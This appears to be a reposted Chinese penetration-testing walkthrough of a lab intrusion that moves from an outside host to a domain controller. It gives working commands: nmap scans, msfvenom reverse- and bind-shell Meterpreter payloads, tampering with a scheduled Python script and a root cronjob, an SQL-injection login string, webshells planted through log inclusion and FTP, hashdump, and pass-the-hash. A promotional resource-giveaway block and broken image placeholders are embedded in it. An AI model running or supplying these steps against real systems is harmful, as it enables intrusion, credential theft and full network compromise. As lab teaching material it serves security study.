渗透实战之内网渗透流程

2022-04-30|

0x00 前言

一个完整的内网渗透过程。

0x01 案例分析

实验环境:

  • 目标环境:10.0.0.0/24, 10.0.1.0/24
  • 攻击主机:10.0.0.5 (Kali), 10.0.0.7 (Windows)

渗透过程:

基本的主机探测:

[email protected]:~# nmap -sn 10.0.0.0/24 -oG online.txt
[email protected]:~# cat online.txt | grep -i up
Host: 10.0.0.1 ()    Status: Up
Host: 10.0.0.2 ()    Status: Up
Host: 10.0.0.7 ()  Status: Up
Host: 10.0.0.9 ()  Status: Up
Host: 10.0.0.11 ()  Status: Up
Host: 10.0.0.5 ()  Status: Up
# Nmap done at Wed May 30 06:10:17 2018 -- 256 IP addresses (6 hosts up) scanned in 1.83 seconds

任意选取其中的一个online的IP(如:10.0.0.9)进一步探测:

[email protected]:~# nmap -sV -A -O 10.0.0.9
Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:12 UTC
Nmap scan report for 10.0.0.9
Host is up (0.00048s latency).
Not shown: 990 closed ports
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=Monitor
| Not valid before: 2018-05-27T07:03:14
|_Not valid after:  2018-11-26T07:03:14
|_ssl-date: 2018-05-30T06:14:01+00:00; +5s from scanner time.
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49158/tcp open  msrpc         Microsoft Windows RPC
49159/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 0A:14:2C:84:E9:D2 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
...
Network Distance: 1 hop
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4s, deviation: 0s, median: 4s
|_nbstat: NetBIOS name: MONITOR, NetBIOS user: , NetBIOS MAC: 0a:14:2c:84:e9:d2 (unknown)
| smb-os-discovery:
|   OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: Monitor
|   NetBIOS computer name: MONITORx00
|   Workgroup: WORKGROUPx00
|_  System time: 2018-05-30T06:14:01+00:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2018-05-30 06:14:01
|_  start_date: 2018-05-30 04:32:09

从以上探测结果可以发现该主机是Windows 2008 R2且开放了SMB和RDP,继续探测.

此时,我们发现该主机存在一个可读写的share folder \10.0.0.9share:

[email protected]:~# smbclient //10.0.0.9/share -N
WARNING: The "syslog" option is deprecated
Try "help" to get a list of possible commands.
smb: > ls
.                                   D        0  Wed May 30 06:16:59 2018
..                                  D        0  Wed May 30 06:16:59 2018
logs.txt                            A    39404  Wed May 30 06:19:20 2018
processMonitor.py                   A      576  Mon May 28 06:56:33 2018
7863807 blocks of size 4096\. 1680653 blocks available
smb: 

为了进一步了解,登录我们用于渗透的另一台Windows主机(10.0.0.7)。

【一>所有资源关注我,私信回复“资料”获取<一】
1、很多已经买不到的绝版电子书
2、安全大厂内部的培训资料
3、全套工具包
4、100份src源码技术文档
5、网络安全基础入门、Linux、web安全、攻防方面的视频
6、应急响应笔记 7、 网络安全学习路线
8、ctf夺旗赛解析
9、WEB安全入门笔记

发现,这个共享文件夹里包含了一个定期监控运行进程的python脚本。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(
img-tz51vlui-1651236284775)(
https://upload-images.jianshu.io/upload_images/26472780-f21373da4281a975.png?
imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]

由于该文件夹可读写,我们可以生成并放置一个meterpreter的payload,然后修改该python脚本来执行它,这样我们就可以得到一个meterpreter session了。

[email protected]:/var/www/html# msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.0.0.5 -f exe > s.exe

修改python脚本如下:

几分钟后,我们顺利地获得了一个meterpreter session了。

同时,可以看出这个机器具有多个网卡且横跨在2个网段中(10.0.0.9/24和10.0.1.9/24)。因此,我们也可以利用这个机器做跳板继续渗透10.0.1.0/24这段里的机器。

利用
auxiliary/scanner/portscan/tcp去扫描10.0.1.0/24段,如下:

我们任意选取其中的一台机器(如:10.0.1.11),我们发现其开放了80和22端口。接下来,我们可以在session 2里设置端口转发,将攻击机(10.0.0.5)上的8080端口转发到目标机(10.0.1.7)上的80端口,方便我们后续的测试。

这时,我们再次登录我们的Windows渗透机器(10.0.0.7)来查看一下这是个什么网站。

经过测试发现,这个登录功能存在SQL Injection,可以通过以下的用户名和密码登录:

username: admin

password: ’ or ‘1’='1

经过观察发现,这个网站应该直接本地文件包含了web服务器的access_log,因此我们可以想到利用文件包含漏洞来生成一个webshell,具体步骤如下:

1. 发送一个包含webshell代码的HTTP请求使其被写入到access_log里, 如一个仅包含上传功能的php小马

2. 访问
http://10.0.0.5:8080/admin.php来文件包含access_log使其中的php代码被执行,从获取一个具备上传功能的php小马

3. 访问
http://10.0.0.5:8080/upload.php并上传一个功能齐全的PHP webshell

4. 访问
http://10.0.0.5:8080/shell.php并输入密码qwer,则成功地获取了一个webshell

利用webshell提供的功能我们发现这只是一个用于运行web service的低权限的用户(daemon),那么接下来我们需要解决的问题就是本地提权到root权限。

如上图,我们找到了一个777权限的root用户所拥有的cronjob文件
/etc/cron.hourly/clean_up_access_log。看起来这个脚本似乎是用于定期清理access_log的。因此,我们似乎可以利用它来获得一个root权限的meterpreter shell。

首先,生成一个Linux的meterpreter payload并通过webshell上传到目标主机上并添加执行权限;

[email protected]:~# msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf > root.elf

system(‘chmod +x /opt/lampp/htdocs/root.elf’);

接着,修改
/etc/cron.hourly/clean_up_access_log使其可以执行我们上传的payload并等待cronjob的下次执行;

利用上面获得的root权限的meterpreter session,我意外的发现了一个有趣的文件/root/readme.txt,其中包含了一个远程FTP(10.0.1.26)的口令和密码。

cat /root/readme.txt
Credentials for FTP:

IP: 10.0.1.26 User: ftpadmin Password: [email protected]

既然拿到了这个信息,我们不妨再次探测一下我们的下一个目标(10.0.1.26)。

果不其然,目标机(10.0.1.26)确实存在一个FTP站点。进入上面获得的session 2,在目标机10.0.0.9(10.0.1.9)上添加一个管理员账号:

接着RDP到目标主机10.0.0.9(10.0.1.9)上,并尝试使用已经获取的口令登录。

结果显示,我们成功地登录了该FTP站点,且具备读写权限。另外,我们还发现该FTP为目标机10.0.1.26上的一个web站点的根目录。因此,我们可以通过该FTP轻松地上传一个webshell.php文件,如下:

有了webshell我们便可以上传一个meterpreter payload来获取一个功能强大的meterpreter session了。

那么接下来,我们的下一个目标就是IP为10.0.1.7的域控服务器了。

经过一系列测试,发现目标机似乎只接受来自IP10.0.1.26(Session 5)的流量,因此我们需要先添加一个专门的路由使我们的攻击机(10.0.0.5)流量可以抵达目标主机(10.0.1.7)。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(
img-r8nazMWD-1651236284840)(
https://upload-images.jianshu.io/upload_images/26472780-d240f683a1317cea.png?
imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]

首先,搜集利用hashdump命令收集一下主机10.0.1.26的所有密码Hash:

接着,我们可以尝试使用Pass The Hash来测试一下我们的目标机(10.0.1.7),并成功地拿下了该域控服务器。

至此,我们已经成功地拿下了所有实验环境下的主机控制权限。

msf exploit(psexec) > sessions
Active sessions
===============
Id  Name  Type                     Information                               Connection
--  ----  ----                     -----------                               ----------
2         meterpreter x64/windows  MONITORAdministrator @ MONITOR           10.0.0.5:4444 -> 10.0.0.9:51800 (10.0.0.9)
4         meterpreter x64/linux    uid=0, gid=0, euid=0, egid=0 @ 10.0.1.11  10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444 (10.0.1.11)
5         meterpreter x64/windows  NT AUTHORITYSYSTEM @ IT-MANAGE-PC        10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444 (10.0.1.26)
6         meterpreter x64/windows  NT AUTHORITYSYSTEM @ DC           10.0.0.5-_1_-10.0.0.9:0 -> 10.0.1.7:4444 (10.0.1.7)

0x02 小结

本文重点介绍了一个相对完整的内网渗透过程(即:外网主机-内网主机-内网域内主机-内网域控服务器)。基本思路和方法都是类似和想通的。


标签: 10.0 我们 一个 Windows meterpreter Microsoft 主机 目标 可以 root
出处: https://www.toutiao.com/article/7092006350456209960/

文明发言,请先登录

文明上网理性发言,请遵守国家法律法规。

最新评论

©2003- 黑基网 黑名单存档手机版网站地图免责条款法律声明隐私保护